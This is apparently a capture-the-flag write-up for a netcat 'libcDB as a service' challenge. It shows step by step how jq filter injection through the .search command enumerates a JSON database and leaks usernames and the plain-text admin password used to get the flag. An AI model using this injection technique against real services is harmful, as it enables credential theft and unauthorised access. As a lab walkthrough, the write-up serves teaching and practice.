When we netcat in, we get prompted for login and password. After entering the account given to us, we are prompted for a command
```
Authenticated {"users":{"username":"Dead","password":"pool"}}

__ _ _ ____ _____
| | |_| |_ ___| \| __ |
| |__| | . | _| | | __ -|
|_____|_|___|___|____/|_____|
as a service

Type .help for help
```

If we run `.help`, we are given a few commands
```
> .help
.help Print this help
.version Print versions
.search Search libcdb
.secret Print flag
```

Running `.secret` complains that we are not admin
```
> .secret
not admin
no flag for u
```

Running `.search` without any parameters gives us the syntax and an example query:
```
> .search
.search <*symbol> <*addr> <filter>
Ex: .search fprintf 0x4b970

* required field
```

If we run the example query we get
```
Found:
id 6acfaae0398dce58e1857599a274f6d8
name ubuntu_libc6-dbg_2.4-1ubuntu12.3_amd64
symbol fprintf
address 0x4b970
Found:
id fc1e12693e5762252bc44256d5a72506
name ubuntu_libc6-dbg_2.4-1ubuntu12_amd64
symbol fprintf
address 0x4b970
```

If we play around a bit and try to add some random `filter` arguments to the given example, we end up getting a syntax error:
```
> .search fprintf 0x4b980 *
jq: error: syntax error, unexpected $end (Unix shell quoting issues?) at <top-level>, line 1:
. as $maindb | .libcDB[] | select(.symbol=="fprintf") | select(.address|contains("309632")) | .*
jq: 1 compile error
```

We now know that the search command searches a json database with `jq`.

Now, we can enumerate some of the keys of `$maindb` to look for what else may be in the json file. To do this, we can set a `filter` argument like `|$maindb|.+{id:keys[0]}`.

The final jq query executed would look like `. as $maindb | .libcDB[] | select(.symbol=="fprintf") | select(.address|contains("309632")) |.|$maindb|.+{id:keys[0]}`.

After testing `keys[1]`, we see that `$maindb` has a `users` key:
```
> .search fprintf 0x4b970 |$maindb|.+{id:keys[1]}
Found:
id users
Found:
id users
```

We can use the same exploit to enumerate the keys in `$maindb['user'][0]`:
```
> .search fprintf 0x4b970 |$maindb|.["users"][0]|.+{id:keys[0]}
Found:
id password
Found:
id password
> .search fprintf 0x4b970 |$maindb|.["users"][0]|.+{id:keys[1]}
Found:
id username
Found:
id username
```

From here, we can just enumerate all of the usernames:
```
> .search fprintf 0x4b970 |$maindb|.["users"][0]|.+{id:.["username"]}
Found:
id 3k
Found:
id 3k
> .search fprintf 0x4b970 |$maindb|.["users"][1]|.+{id:.["username"]}
Found:
id James
Found:
id James
> .search fprintf 0x4b970 |$maindb|.["users"][2]|.+{id:.["username"]}
Found:
id Lars
Found:
id Lars
> .search fprintf 0x4b970 |$maindb|.["users"][3]|.+{id:.["username"]}
Found:
id Dead
Found:
id Dead
> .search fprintf 0x4b970 |$maindb|.["users"][4]|.+{id:.["username"]}
Found:
id admin
Found:
id admin
```

Then, the `admin` password:
```
> .search fprintf 0x4b970 |$maindb|.["users"][4]|.+{id:.["password"]}
Found:
id v3ryL0ngPwC4nTgu3SS0xfff
Found:
id v3ryL0ngPwC4nTgu3SS0xfff
```

We can then login with the admin credentials and run `.secret`.